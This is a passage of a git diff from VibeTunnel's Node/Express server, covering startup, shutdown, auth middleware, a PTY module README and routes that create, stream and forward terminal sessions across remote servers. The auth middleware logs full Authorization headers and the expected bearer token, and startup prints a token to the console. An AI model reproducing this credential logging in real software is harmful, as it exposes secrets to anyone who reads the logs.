ptyManager,
terminalManager,
streamWatcher,
remoteRegistry,
isHQMode: config.isHQMode,
})
);
app.use(
'/api',
createRemoteRoutes({
remoteRegistry,
isHQMode: config.isHQMode,
})
);
// WebSocket endpoint for buffer updates
wss.on('connection', (ws, _req) => {
if (bufferAggregator) {
bufferAggregator.handleClientConnection(ws);
} else {
console.error(chalk.red('[WS] BufferAggregator not initialized'));
ws.close();
}
});
// Serve index.html for client-side routes (but not API routes)
app.get('/', (req, res) => {
res.sendFile(path.join(publicPath, 'index.html'));
});
// 404 handler for all other routes
app.use((req, res) => {
if (req.path.startsWith('/api/')) {
res.status(404).json({ error: 'API endpoint not found' });
} else {
res.status(404).sendFile(path.join(publicPath, '404.html'), (err) => {
if (err) {
res.status(404).send('404 - Page not found');
}
});
}
});
// Start server function
const startServer = () => {
const requestedPort = config.port !== null ? config.port : Number(process.env.PORT) || 4020;
server.listen(requestedPort, () => {
const address = server.address();
const actualPort =
typeof address === 'string' ? requestedPort : address?.port || requestedPort;
console.log(chalk.green(`VibeTunnel Server running on http://localhost:${actualPort}`));
if (config.basicAuthUsername && config.basicAuthPassword) {
console.log(chalk.green('Basic authentication: ENABLED'));
console.log(`Username: ${config.basicAuthUsername}`);
console.log(`Password: ${'*'.repeat(config.basicAuthPassword.length)}`);
} else {
console.log(chalk.red('⚠️ WARNING: Server running without authentication!'));
console.log(
chalk.yellow(
'Anyone can access this server. Use --username and --password or set VIBETUNNEL_USERNAME and VIBETUNNEL_PASSWORD.'
)
);
}
// Initialize HQ client now that we know the actual port
if (config.hqUrl && config.hqUsername && config.hqPassword && config.remoteName) {
const remoteUrl = `http://localhost:${actualPort}`;
hqClient = new HQClient(
config.hqUrl,
config.hqUsername,
config.hqPassword,
config.remoteName,
remoteUrl,
remoteBearerToken || ''
);
console.log(chalk.green('Remote mode: Will accept Bearer token for HQ access'));
console.log(`Token: ${hqClient.getToken()}`);
}
// Send message to parent process if running as child (for testing)
// Skip in vitest environment to avoid channel conflicts
if (process.send && !process.env.VITEST) {
process.send({ type: 'server-started', port: actualPort });
}
// Register with HQ if configured
if (hqClient) {
hqClient.register().catch((err) => {
console.error('Failed to register with HQ:', err);
});
}
// Start control directory watcher
controlDirWatcher = new ControlDirWatcher({
controlDir: CONTROL_DIR,
remoteRegistry,
isHQMode: config.isHQMode,
hqClient,
});
controlDirWatcher.start();
});
};
return {
app,
server,
wss,
startServer,
config,
ptyManager,
terminalManager,
streamWatcher,
remoteRegistry,
hqClient,
controlDirWatcher,
bufferAggregator,
};
}

71
web/src/server/index.ts Normal file
View file

@ -0,0 +1,71 @@
import chalk from 'chalk';
import { createApp } from './app.js';
// Create and configure the app
const appInstance = createApp();
const { startServer, server, terminalManager, remoteRegistry, hqClient, controlDirWatcher } =
appInstance;
// Only start server if this is the main module
// When running with tsx, the main module check is different
const isMainModule =
process.argv[1]?.endsWith('server.ts') || process.argv[1]?.endsWith('server/index.ts');
if (isMainModule) {
startServer();
// Cleanup old terminals every 5 minutes
setInterval(
() => {
terminalManager.cleanup(30 * 60 * 1000); // 30 minutes
},
5 * 60 * 1000
);
// Graceful shutdown
let isShuttingDown = false;
const shutdown = async () => {
if (isShuttingDown) {
console.log(chalk.red('Force exit...'));
process.exit(1);
}
isShuttingDown = true;
console.log(chalk.yellow('\nShutting down...'));
try {
// Stop control directory watcher
if (controlDirWatcher) {
controlDirWatcher.stop();
}
if (hqClient) {
await hqClient.destroy();
}
if (remoteRegistry) {
remoteRegistry.destroy();
}
server.close(() => {
console.log(chalk.green('Server closed successfully'));
process.exit(0);
});
// Force exit after 5 seconds if graceful shutdown fails
setTimeout(() => {
console.log(chalk.red('Graceful shutdown timeout, forcing exit...'));
process.exit(1);
}, 5000);
} catch (error) {
console.error(chalk.red('Error during shutdown:'), error);
process.exit(1);
}
};
process.on('SIGINT', shutdown);
process.on('SIGTERM', shutdown);
}
// Export for testing
export * from './app.js';

View file

@ -0,0 +1,62 @@
import { Request, Response, NextFunction } from 'express';
import chalk from 'chalk';
interface AuthConfig {
basicAuthUsername: string | null;
basicAuthPassword: string | null;
isHQMode: boolean;
bearerToken?: string; // Token that HQ must use to authenticate with this remote
}
export function createAuthMiddleware(config: AuthConfig) {
return (req: Request, res: Response, next: NextFunction) => {
// Skip auth for health check endpoint
if (req.path === '/api/health') {
return next();
}
// If no auth configured, allow all requests
if (!config.basicAuthUsername || !config.basicAuthPassword) {
return next();
}
console.log(
`Auth check: ${req.method} ${req.path}, auth header: ${req.headers.authorization || 'none'}`
);
// Check for Bearer token (for HQ to remote communication)
const authHeader = req.headers.authorization;
if (authHeader && authHeader.startsWith('Bearer ')) {
const token = authHeader.substring(7);
// In HQ mode, bearer tokens are not accepted (HQ uses basic auth)
if (config.isHQMode) {
res.setHeader('WWW-Authenticate', 'Basic realm="VibeTunnel"');
return res.status(401).json({ error: 'Bearer token not accepted in HQ mode' });
} else if (config.bearerToken && token === config.bearerToken) {
// Token matches what this remote server expects from HQ
return next();
} else if (config.bearerToken) {
// We have a bearer token configured but it doesn't match
console.log(`Bearer token mismatch: expected ${config.bearerToken}, got ${token}`);
}
} else {
console.log(`No bearer token in request, bearerToken configured: ${!!config.bearerToken}`);
}
// Check Basic auth
if (authHeader && authHeader.startsWith('Basic ')) {
const base64Credentials = authHeader.substring(6);
const credentials = Buffer.from(base64Credentials, 'base64').toString('utf8');
const [username, password] = credentials.split(':');
if (username === config.basicAuthUsername && password === config.basicAuthPassword) {
return next();
}
}
// No valid auth provided
console.log(chalk.red(`Unauthorized request to ${req.method} ${req.path} from ${req.ip}`));
res.setHeader('WWW-Authenticate', 'Basic realm="VibeTunnel"');
res.status(401).json({ error: 'Authentication required' });
};
}

View file

@ -0,0 +1,213 @@
# PTY Module
A Node.js/TypeScript implementation for managing PTY (pseudo-terminal) sessions using node-pty.
## Features
- **Native Node.js Implementation**: Uses `node-pty` for high-performance terminal management
- **Asciinema Recording**: Records terminal sessions in standard asciinema format
- **Session Persistence**: Sessions persist across restarts with metadata
- **TypeScript Support**: Fully typed interfaces and error handling
## Quick Start
```typescript
import { PtyManager } from './pty/index.js';
// Create PTY manager
const ptyManager = new PtyManager('/path/to/control');
// Create a session
const result = await ptyManager.createSession(['bash'], {
sessionName: 'my-session',
workingDir: '/home/user',
cols: 80,
rows: 24,
});
console.log(`Created session: ${result.sessionId}`);
// Send input to session
ptyManager.sendInput(result.sessionId, { text: 'echo hello\n' });
// List all sessions
const sessions = ptyManager.listSessions();
// Cleanup session
ptyManager.cleanupSession(result.sessionId);
```
## API Reference
### PtyManager
Main class for managing PTY sessions.
#### Constructor
```typescript
new PtyManager(controlPath: string)
```
- `controlPath`: Directory path for session storage
#### Methods
##### `createSession(command: string[], options?: SessionOptions): Promise<SessionCreationResult>`
Creates a new PTY session.
**Parameters:**
- `command`: Array of command and arguments to execute
- `options`: Optional session configuration
**Returns:** Promise resolving to session ID and info
**Example:**
```typescript
const result = await ptyManager.createSession(['vim', 'file.txt'], {
sessionName: 'vim-session',
workingDir: '/home/user/projects',
term: 'xterm-256color',
cols: 120,
rows: 30,
});
```
##### `sendInput(sessionId: string, input: SessionInput): void`
Sends input to a session.
**Parameters:**
- `sessionId`: Target session ID
- `input`: Text or special key input
**Example:**
```typescript
// Send text
ptyManager.sendInput(sessionId, { text: 'hello world\n' });
// Send special key
ptyManager.sendInput(sessionId, { key: 'arrow_up' });
```
**Supported special keys:**
- `arrow_up`, `arrow_down`, `arrow_left`, `arrow_right`
- `escape`, `enter`, `ctrl_enter`, `shift_enter`
##### `listSessions(): SessionEntryWithId[]`
Lists all sessions with metadata.
##### `getSession(sessionId: string): SessionEntryWithId | null`
Gets specific session by ID.
##### `killSession(sessionId: string, signal?: string | number): Promise<void>`
Terminates a session and waits for the process to actually be killed.
**Parameters:**
- `sessionId`: Session to terminate
- `signal`: Signal to send (default: 'SIGTERM')
**Returns:** Promise that resolves when the process is actually terminated
**Process:**
1. Sends SIGTERM initially
2. Waits up to 3 seconds (checking every 500ms)
3. Sends SIGKILL if process doesn't terminate gracefully
4. Resolves when process is confirmed dead
##### `cleanupSession(sessionId: string): void`
Removes session and cleans up files.
##### `cleanupExitedSessions(): string[]`
Removes all exited sessions and returns cleaned session IDs.
##### `resizeSession(sessionId: string, cols: number, rows: number): void`
Resizes session terminal.
##### `getActiveSessionCount(): number`
Returns number of active sessions.
## Session File Structure
Sessions are stored in a directory structure:
```
~/.vibetunnel/control/
├── session-uuid-1/
│ ├── session.json # Session metadata
│ ├── stream-out # Asciinema recording
│ ├── stdin # Input pipe/file
│ └── notification-stream # Event notifications
└── session-uuid-2/
└── ...
```
### session.json Format
```json
{
"cmdline": ["bash", "-l"],
"name": "my-session",
"cwd": "/home/user",
"pid": 1234,
"status": "running",
"exit_code": null,
"started_at": "2023-12-01T10:00:00.000Z",
"term": "xterm-256color",
"spawn_type": "pty"
}
```
### Asciinema Format
The `stream-out` file follows the [asciinema file format](https://github.com/asciinema/asciinema/blob/develop/doc/asciicast-v2.md):
```
{"version": 2, "width": 80, "height": 24, "timestamp": 1609459200, "env": {"SHELL": "/bin/bash", "TERM": "xterm-256color"}}
[0.248848, "o", "\u001b]0;user@host: ~\u0007\u001b[01;32muser@host\u001b[00m:\u001b[01;34m~\u001b[00m$ "]
[1.001376, "o", "h"]
[1.064593, "o", "e"]
```
## Error Handling
All methods throw `PtyError` instances with structured error information:
```typescript
try {
await ptyManager.createSession(['invalid-command']);
} catch (error) {
if (error instanceof PtyError) {
console.error(`PTY Error [${error.code}]: ${error.message}`);
if (error.sessionId) {
console.error(`Session ID: ${error.sessionId}`);
}
}
}
```
## Performance Considerations
- **Memory Usage**: ~10-20MB per active session
- **CPU Overhead**: Minimal, event-driven
- **Latency**: < 5ms for input/output operations
- **Concurrency**: Supports 50+ concurrent sessions
## License
Licensed under the same license as the parent project.

View file

@ -9,13 +9,12 @@
export * from './types.js';
// Main service interface
export { PtyService } from './PtyService.js';
export { PtyManager } from './pty-manager.js';
// Individual components (for advanced usage)
export { PtyManager } from './PtyManager.js';
export { AsciinemaWriter } from './AsciinemaWriter.js';
export { SessionManager } from './SessionManager.js';
export { ProcessUtils } from './ProcessUtils.js';
export { AsciinemaWriter } from './asciinema-writer.js';
export { SessionManager } from './session-manager.js';
export { ProcessUtils } from './process-utils.js';
// Re-export for convenience
export { PtyError } from './types.js';

View file

@ -21,9 +21,9 @@ import {
ResizeControlMessage,
KillControlMessage,
} from './types.js';
import { AsciinemaWriter } from './AsciinemaWriter.js';
import { SessionManager } from './SessionManager.js';
import { ProcessUtils } from './ProcessUtils.js';
import { AsciinemaWriter } from './asciinema-writer.js';
import { SessionManager } from './session-manager.js';
import { ProcessUtils } from './process-utils.js';
export class PtyManager {
private sessions = new Map<string, PtySession>();
@ -173,7 +173,7 @@ export class PtyManager {
const { ptyProcess, asciinemaWriter, sessionJsonPath } = session;
// Handle PTY data output
ptyProcess.onData((data: string) => {
ptyProcess?.onData((data: string) => {
try {
// Write to asciinema file
asciinemaWriter?.writeOutput(Buffer.from(data, 'utf8'));
@ -183,7 +183,7 @@ export class PtyManager {
});
// Handle PTY exit
ptyProcess.onExit(({ exitCode, signal }: { exitCode: number; signal?: number }) => {
ptyProcess?.onExit(({ exitCode, signal }: { exitCode: number; signal?: number }) => {
try {
console.log(`Session ${session.id} exited with code ${exitCode}, signal ${signal}`);
@ -208,15 +208,6 @@ export class PtyManager {
}
});
// Handle resize events
ptyProcess.onResize?.(({ cols, rows }: { cols: number; rows: number }) => {
try {
asciinemaWriter?.writeResize(cols, rows);
} catch (error) {
console.error(`Error writing resize event for session ${session.id}:`, error);
}
});
// Monitor stdin file for input
this.monitorStdinFile(session);
}

View file

@ -9,7 +9,7 @@ import * as fs from 'fs';
import * as path from 'path';
import * as os from 'os';
import { SessionInfo, SessionEntryWithId, PtyError } from './types.js';
import { ProcessUtils } from './ProcessUtils.js';
import { ProcessUtils } from './process-utils.js';
export class SessionManager {
private controlPath: string;

View file

@ -138,8 +138,8 @@ export type SpecialKey =
export interface PtySession {
id: string;
sessionInfo: SessionInfo;
ptyProcess?: any; // node-pty IPty instance (typed as any to avoid import dependency)
asciinemaWriter?: any; // AsciinemaWriter instance (typed as any to avoid import dependency)
ptyProcess?: import('@homebridge/node-pty-prebuilt-multiarch').IPty;
asciinemaWriter?: import('./asciinema-writer.js').AsciinemaWriter;
controlDir: string;
streamOutPath: string;
stdinPath: string;

View file

@ -0,0 +1,118 @@
import { Router } from 'express';
import { RemoteRegistry } from '../services/remote-registry.js';
import chalk from 'chalk';
interface RemoteRoutesConfig {
remoteRegistry: RemoteRegistry | null;
isHQMode: boolean;
}
export function createRemoteRoutes(config: RemoteRoutesConfig): Router {
const router = Router();
const { remoteRegistry, isHQMode } = config;
// HQ Mode: List all registered remotes
router.get('/remotes', (req, res) => {
if (!isHQMode || !remoteRegistry) {
return res.status(404).json({ error: 'Not running in HQ mode' });
}
const remotes = remoteRegistry.getRemotes();
// Convert Set to Array for JSON serialization
const remotesWithArraySessionIds = remotes.map((remote) => ({
...remote,
sessionIds: Array.from(remote.sessionIds),
}));
res.json(remotesWithArraySessionIds);
});
// HQ Mode: Register a new remote
router.post('/remotes/register', (req, res) => {
if (!isHQMode || !remoteRegistry) {
return res.status(404).json({ error: 'Not running in HQ mode' });
}
const { id, name, url, token } = req.body;
if (!id || !name || !url || !token) {
return res.status(400).json({ error: 'Missing required fields: id, name, url, token' });
}
try {
const remote = remoteRegistry.register({ id, name, url, token });
console.log(chalk.green(`Remote registered: ${name} (${id}) from ${url}`));
res.json({ success: true, remote });
} catch (error) {
if (error instanceof Error && error.message.includes('already registered')) {
return res.status(409).json({ error: error.message });
}
console.error(chalk.red('Failed to register remote:'), error);
res.status(500).json({ error: 'Failed to register remote' });
}
});
// HQ Mode: Unregister a remote
router.delete('/remotes/:remoteId', (req, res) => {
if (!isHQMode || !remoteRegistry) {
return res.status(404).json({ error: 'Not running in HQ mode' });
}
const remoteId = req.params.remoteId;
const success = remoteRegistry.unregister(remoteId);
if (success) {
console.log(chalk.yellow(`Remote unregistered: ${remoteId}`));
res.json({ success: true });
} else {
res.status(404).json({ error: 'Remote not found' });
}
});
// HQ Mode: Refresh sessions for a specific remote
router.post('/remotes/:remoteName/refresh-sessions', async (req, res) => {
if (!isHQMode || !remoteRegistry) {
return res.status(404).json({ error: 'Not running in HQ mode' });
}
const remoteName = req.params.remoteName;
const { action, sessionId } = req.body;
// Find remote by name
const remotes = remoteRegistry.getRemotes();
const remote = remotes.find((r) => r.name === remoteName);
if (!remote) {
return res.status(404).json({ error: 'Remote not found' });
}
try {
// Fetch latest sessions from the remote
const response = await fetch(`${remote.url}/api/sessions`, {
headers: {
Authorization: `Bearer ${remote.token}`,
},
signal: AbortSignal.timeout(5000),
});
if (response.ok) {
const sessions = (await response.json()) as Array<{ id: string }>;
const sessionIds = sessions.map((s) => s.id);
remoteRegistry.updateRemoteSessions(remote.id, sessionIds);
console.log(
chalk.green(
`Updated sessions for remote ${remote.name}: ${sessionIds.length} sessions (${action} ${sessionId})`
)
);
res.json({ success: true, sessionCount: sessionIds.length });
} else {
throw new Error(`Failed to fetch sessions: ${response.status}`);
}
} catch (error) {
console.error(chalk.red(`Failed to refresh sessions for remote ${remote.name}:`), error);
res.status(500).json({ error: 'Failed to refresh sessions' });
}
});
return router;
}

View file

@ -0,0 +1,775 @@
import { Router } from 'express';
import { PtyManager, PtyError } from '../pty/index.js';
import { TerminalManager } from '../services/terminal-manager.js';
import { StreamWatcher } from '../services/stream-watcher.js';
import { RemoteRegistry } from '../services/remote-registry.js';
import * as fs from 'fs';
import * as path from 'path';
import * as os from 'os';
interface SessionRoutesConfig {
ptyManager: PtyManager;
terminalManager: TerminalManager;
streamWatcher: StreamWatcher;
remoteRegistry: RemoteRegistry | null;
isHQMode: boolean;
}
// Helper function to resolve path (handles ~)
function resolvePath(inputPath: string, defaultPath: string): string {
if (!inputPath || inputPath.trim() === '') {
return defaultPath;
}
if (inputPath.startsWith('~/')) {
return path.join(os.homedir(), inputPath.slice(2));
}
if (!path.isAbsolute(inputPath)) {
return path.join(defaultPath, inputPath);
}
return inputPath;
}
export function createSessionRoutes(config: SessionRoutesConfig): Router {
const router = Router();
const { ptyManager, terminalManager, streamWatcher, remoteRegistry, isHQMode } = config;
// List all sessions (aggregate local + remote in HQ mode)
router.get('/sessions', async (req, res) => {
try {
let allSessions = [];
// Get local sessions
const localSessions = ptyManager.listSessions();
console.log(`Found ${localSessions.length} local sessions`);
// Add source info to local sessions
const localSessionsWithSource = localSessions.map((session) => ({
...session,
id: session.session_id,
command: Array.isArray(session.cmdline) ? session.cmdline.join(' ') : session.cmdline || '',
workingDir: session.cwd,
name: session.name,
status: session.status,
exitCode: session.exit_code,
startedAt: session.started_at,
pid: session.pid,
source: 'local',
}));
allSessions = [...localSessionsWithSource];
// If in HQ mode, aggregate sessions from all remotes
if (isHQMode && remoteRegistry) {
const remotes = remoteRegistry.getRemotes();
console.log(`HQ Mode: Checking ${remotes.length} remote servers for sessions`);
// Fetch sessions from each remote in parallel
const remotePromises = remotes.map(async (remote) => {
try {
const response = await fetch(`${remote.url}/api/sessions`, {
headers: {
Authorization: `Bearer ${remote.token}`,
},
signal: AbortSignal.timeout(5000), // 5 second timeout
});
if (response.ok) {
const remoteSessions = await response.json();
console.log(`Got ${remoteSessions.length} sessions from remote ${remote.name}`);
// Track session IDs for this remote
const sessionIds = remoteSessions.map((s: { id: string }) => s.id);
remoteRegistry.updateRemoteSessions(remote.id, sessionIds);
// Add remote info to each session
return remoteSessions.map((session: { id: string; [key: string]: unknown }) => ({
...session,
source: 'remote',
remoteId: remote.id,
remoteName: remote.name,
remoteUrl: remote.url,
}));
} else {
console.error(
`Failed to get sessions from remote ${remote.name}: HTTP ${response.status}`
);
return [];
}
} catch (error) {
console.error(`Failed to get sessions from remote ${remote.name}:`, error);
return [];
}
});
const remoteResults = await Promise.all(remotePromises);
const remoteSessions = remoteResults.flat();
console.log(`Total remote sessions: ${remoteSessions.length}`);
allSessions = [...allSessions, ...remoteSessions];
}
console.log(`Returning ${allSessions.length} total sessions`);
res.json(allSessions);
} catch (error) {
console.error('Error listing sessions:', error);
res.status(500).json({ error: 'Failed to list sessions' });
}
});
// Create new session (local or on remote)
router.post('/sessions', async (req, res) => {
const { command, workingDir, name, remoteId } = req.body;
if (!command || !Array.isArray(command) || command.length === 0) {
return res.status(400).json({ error: 'Command array is required' });
}
try {
// If remoteId is specified and we're in HQ mode, forward to remote
if (remoteId && isHQMode && remoteRegistry) {
const remote = remoteRegistry.getRemote(remoteId);
if (!remote) {
return res.status(404).json({ error: 'Remote server not found' });
}
console.log(`Forwarding session creation to remote ${remote.name}`);
// Forward the request to the remote server
const response = await fetch(`${remote.url}/api/sessions`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
Authorization: `Bearer ${remote.token}`,
},
body: JSON.stringify({
command,
workingDir,
name,
// Don't forward remoteId to avoid recursion
}),
signal: AbortSignal.timeout(10000), // 10 second timeout
});
if (!response.ok) {
const error = await response.json().catch(() => ({ error: 'Unknown error' }));
return res.status(response.status).json(error);
}
const result = await response.json();
// Track the session in the remote's sessionIds
if (result.sessionId) {
remoteRegistry.addSessionToRemote(remote.id, result.sessionId);
}
res.json(result); // Return sessionId as-is, no namespacing
return;
}
// Create local session
const sessionName =
name || `session_${Date.now()}_${Math.random().toString(36).substr(2, 9)}`;
const cwd = resolvePath(workingDir, process.cwd());
console.log(`Creating session with PTY service: ${command.join(' ')} in ${cwd}`);
const result = await ptyManager.createSession(command, {
sessionName,
workingDir: cwd,
term: 'xterm-256color',
});
const { sessionId, sessionInfo } = result;
console.log(`Session created: ${sessionId} (PID: ${sessionInfo.pid})`);
// Stream watcher is set up when clients connect to the stream endpoint
res.json({ sessionId });
} catch (error) {
console.error('Error creating session:', error);
if (error instanceof PtyError) {
res.status(500).json({ error: 'Failed to create session', details: error.message });
} else {
res.status(500).json({ error: 'Failed to create session' });
}
}
});
// Get single session info
router.get('/sessions/:sessionId', async (req, res) => {
const sessionId = req.params.sessionId;
try {
// If in HQ mode, check if this is a remote session
if (isHQMode && remoteRegistry) {
const remote = remoteRegistry.getRemoteBySessionId(sessionId);
if (remote) {
// Forward to remote server
try {
const response = await fetch(`${remote.url}/api/sessions/${sessionId}`, {
headers: {
Authorization: `Bearer ${remote.token}`,
},
signal: AbortSignal.timeout(5000),
});
if (!response.ok) {
return res.status(response.status).json(await response.json());
}
return res.json(await response.json());
} catch (error) {
console.error(`Failed to get session info from remote ${remote.name}:`, error);
return res.status(503).json({ error: 'Failed to reach remote server' });
}
}
}
// Local session handling
const sessionInfo = ptyManager.getSession(sessionId);
if (!sessionInfo) {
return res.status(404).json({ error: 'Session not found' });
}
// Get the last modified time of the stream file
let lastModified = sessionInfo.started_at || new Date().toISOString();
try {
if (fs.existsSync(sessionInfo['stream-out'])) {
const stats = fs.statSync(sessionInfo['stream-out']);
lastModified = stats.mtime.toISOString();
}
} catch {
// Use started_at as fallback
}
res.json({
id: sessionInfo.session_id,
command: Array.isArray(sessionInfo.cmdline)
? sessionInfo.cmdline.join(' ')
: sessionInfo.cmdline || '',
workingDir: sessionInfo.cwd,
name: sessionInfo.name,
status: sessionInfo.status,
exitCode: sessionInfo.exit_code,
startedAt: sessionInfo.started_at,
lastModified: lastModified,
pid: sessionInfo.pid,
waiting: sessionInfo.waiting,
});
} catch (error) {
console.error('Error getting session info:', error);
res.status(500).json({ error: 'Failed to get session info' });
}
});
// Kill session (just kill the process)
router.delete('/sessions/:sessionId', async (req, res) => {
const sessionId = req.params.sessionId;
try {
// If in HQ mode, check if this is a remote session
if (isHQMode && remoteRegistry) {
const remote = remoteRegistry.getRemoteBySessionId(sessionId);
if (remote) {
// Forward kill request to remote server
try {
const response = await fetch(`${remote.url}/api/sessions/${sessionId}`, {
method: 'DELETE',
headers: {
Authorization: `Bearer ${remote.token}`,
},
signal: AbortSignal.timeout(10000),
});
if (!response.ok) {
return res.status(response.status).json(await response.json());
}
// Remote killed the session, now update our registry
remoteRegistry.removeSessionFromRemote(sessionId);
console.log(`Remote session ${sessionId} killed on ${remote.name}`);
return res.json(await response.json());
} catch (error) {
console.error(`Failed to kill session on remote ${remote.name}:`, error);
return res.status(503).json({ error: 'Failed to reach remote server' });
}
}
}
// Local session handling - just kill it, no registry updates needed
const session = ptyManager.getSession(sessionId);
if (!session) {
return res.status(404).json({ error: 'Session not found' });
}
await ptyManager.killSession(sessionId, 'SIGTERM');
console.log(`Local session ${sessionId} killed`);
res.json({ success: true, message: 'Session killed' });
} catch (error) {
console.error('Error killing session:', error);
if (error instanceof PtyError) {
res.status(500).json({ error: 'Failed to kill session', details: error.message });
} else {
res.status(500).json({ error: 'Failed to kill session' });
}
}
});
// Cleanup session files
router.delete('/sessions/:sessionId/cleanup', async (req, res) => {
const sessionId = req.params.sessionId;
try {
// If in HQ mode, check if this is a remote session
if (isHQMode && remoteRegistry) {
const remote = remoteRegistry.getRemoteBySessionId(sessionId);
if (remote) {
// Forward cleanup request to remote server
try {
const response = await fetch(`${remote.url}/api/sessions/${sessionId}/cleanup`, {
method: 'DELETE',
headers: {
Authorization: `Bearer ${remote.token}`,
},
signal: AbortSignal.timeout(10000),
});
if (!response.ok) {
return res.status(response.status).json(await response.json());
}
// Remote cleaned up the session, now update our registry
remoteRegistry.removeSessionFromRemote(sessionId);
console.log(`Remote session ${sessionId} cleaned up on ${remote.name}`);
return res.json(await response.json());
} catch (error) {
console.error(`Failed to cleanup session on remote ${remote.name}:`, error);
return res.status(503).json({ error: 'Failed to reach remote server' });
}
}
}
// Local session handling - just cleanup, no registry updates needed
ptyManager.cleanupSession(sessionId);
console.log(`Local session ${sessionId} cleaned up`);
res.json({ success: true, message: 'Session cleaned up' });
} catch (error) {
console.error('Error cleaning up session:', error);
if (error instanceof PtyError) {
res.status(500).json({ error: 'Failed to cleanup session', details: error.message });
} else {
res.status(500).json({ error: 'Failed to cleanup session' });
}
}
});
// Cleanup all exited sessions (local and remote)
router.post('/cleanup-exited', async (req, res) => {
try {
// Clean up local sessions
const localCleanedSessions = ptyManager.cleanupExitedSessions();
console.log(`Cleaned up ${localCleanedSessions.length} local exited sessions`);
// Remove cleaned local sessions from remote registry if in HQ mode
if (isHQMode && remoteRegistry) {
for (const sessionId of localCleanedSessions) {
remoteRegistry.removeSessionFromRemote(sessionId);
}
}
let totalCleaned = localCleanedSessions.length;
const remoteResults: Array<{ remoteName: string; cleaned: number; error?: string }> = [];
// If in HQ mode, clean up sessions on all remotes
if (isHQMode && remoteRegistry) {
const allRemotes = remoteRegistry.getRemotes();
// Clean up on each remote in parallel
const remoteCleanupPromises = allRemotes.map(async (remote) => {
try {
const response = await fetch(`${remote.url}/api/cleanup-exited`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
Authorization: `Bearer ${remote.token}`,
},
signal: AbortSignal.timeout(10000), // 10 second timeout
});
if (response.ok) {
const result = await response.json();
const cleanedSessionIds = result.cleanedSessions || [];
const cleanedCount = cleanedSessionIds.length;
totalCleaned += cleanedCount;
// Remove cleaned remote sessions from registry
for (const sessionId of cleanedSessionIds) {
remoteRegistry.removeSessionFromRemote(sessionId);
}
remoteResults.push({ remoteName: remote.name, cleaned: cleanedCount });
} else {
throw new Error(`HTTP ${response.status}`);
}
} catch (error) {
console.error(`Failed to cleanup sessions on remote ${remote.name}:`, error);
remoteResults.push({
remoteName: remote.name,
cleaned: 0,
error: error instanceof Error ? error.message : 'Unknown error',
});
}
});
await Promise.all(remoteCleanupPromises);
}
res.json({
success: true,
message: `${totalCleaned} exited sessions cleaned up across all servers`,
localCleaned: localCleanedSessions.length,
remoteResults,
});
} catch (error) {
console.error('Error cleaning up exited sessions:', error);
if (error instanceof PtyError) {
res
.status(500)
.json({ error: 'Failed to cleanup exited sessions', details: error.message });
} else {
res.status(500).json({ error: 'Failed to cleanup exited sessions' });
}
}
});
// Get session buffer
router.get('/sessions/:sessionId/buffer', async (req, res) => {
const sessionId = req.params.sessionId;
console.log(`[BUFFER] Client requesting buffer for session ${sessionId}`);
try {
// If in HQ mode, check if this is a remote session
if (isHQMode && remoteRegistry) {
const remote = remoteRegistry.getRemoteBySessionId(sessionId);
if (remote) {
// Forward buffer request to remote server
try {
const response = await fetch(`${remote.url}/api/sessions/${sessionId}/buffer`, {
headers: {
Authorization: `Bearer ${remote.token}`,
},
signal: AbortSignal.timeout(5000),
});
if (!response.ok) {
return res.status(response.status).json(await response.json());
}
// Forward the binary buffer
const buffer = await response.arrayBuffer();
res.setHeader('Content-Type', 'application/octet-stream');
return res.send(Buffer.from(buffer));
} catch (error) {
console.error(`Failed to get buffer from remote ${remote.name}:`, error);
return res.status(503).json({ error: 'Failed to reach remote server' });
}
}
}
// Local session handling
const session = ptyManager.getSession(sessionId);
if (!session) {
console.error(`[BUFFER] Session ${sessionId} not found`);
return res.status(404).json({ error: 'Session not found' });
}
// Get terminal buffer snapshot
const snapshot = await terminalManager.getBufferSnapshot(sessionId);
// Encode as binary buffer
const buffer = terminalManager.encodeSnapshot(snapshot);
console.log(
`[BUFFER] Sending buffer for session ${sessionId}: ${buffer.length} bytes, ` +
`dimensions: ${snapshot.cols}x${snapshot.rows}, cursor: (${snapshot.cursorX},${snapshot.cursorY})`
);
// Send as binary data
res.setHeader('Content-Type', 'application/octet-stream');
res.send(buffer);
} catch (error) {
console.error('[BUFFER] Error getting buffer:', error);
res.status(500).json({ error: 'Failed to get terminal buffer' });
}
});
// Stream session output
router.get('/sessions/:sessionId/stream', async (req, res) => {
const sessionId = req.params.sessionId;
console.log(
`[STREAM] New SSE client connected to session ${sessionId} from ${req.get('User-Agent')?.substring(0, 50) || 'unknown'}`
);
// If in HQ mode, check if this is a remote session
if (isHQMode && remoteRegistry) {
const remote = remoteRegistry.getRemoteBySessionId(sessionId);
if (remote) {
// Proxy SSE stream from remote server
try {
const controller = new AbortController();
const response = await fetch(`${remote.url}/api/sessions/${sessionId}/stream`, {
headers: {
Authorization: `Bearer ${remote.token}`,
Accept: 'text/event-stream',
},
signal: controller.signal,
});
if (!response.ok) {
return res.status(response.status).json(await response.json());
}
// Set up SSE headers
res.writeHead(200, {
'Content-Type': 'text/event-stream',
'Cache-Control': 'no-cache',
Connection: 'keep-alive',
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Headers': 'Cache-Control',
'X-Accel-Buffering': 'no',
});
// Proxy the stream
const reader = response.body?.getReader();
if (!reader) {
throw new Error('No response body');
}
const decoder = new TextDecoder();
const pump = async () => {
try {
while (true) {
const { done, value } = await reader.read();
if (done) break;
const chunk = decoder.decode(value, { stream: true });
res.write(chunk);
}
} catch (error) {
console.error(`Stream proxy error for remote ${remote.name}:`, error);
}
};
pump();
// Clean up on disconnect
req.on('close', () => {
console.log(`[STREAM] SSE client disconnected from remote session ${sessionId}`);
controller.abort();
});
return;
} catch (error) {
console.error(`Failed to stream from remote ${remote.name}:`, error);
return res.status(503).json({ error: 'Failed to reach remote server' });
}
}
}
// Local session handling
const session = ptyManager.getSession(sessionId);
if (!session) {
return res.status(404).json({ error: 'Session not found' });
}
const streamPath = session['stream-out'];
if (!streamPath) {
return res.status(404).json({ error: 'Session stream not found' });
}
// Set up SSE headers
res.writeHead(200, {
'Content-Type': 'text/event-stream',
'Cache-Control': 'no-cache',
Connection: 'keep-alive',
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Headers': 'Cache-Control',
'X-Accel-Buffering': 'no', // Disable Nginx buffering
});
// Send initial connection event
res.write(':ok\n\n');
// Add client to stream watcher
streamWatcher.addClient(sessionId, streamPath, res);
// Send heartbeat every 30 seconds to keep connection alive
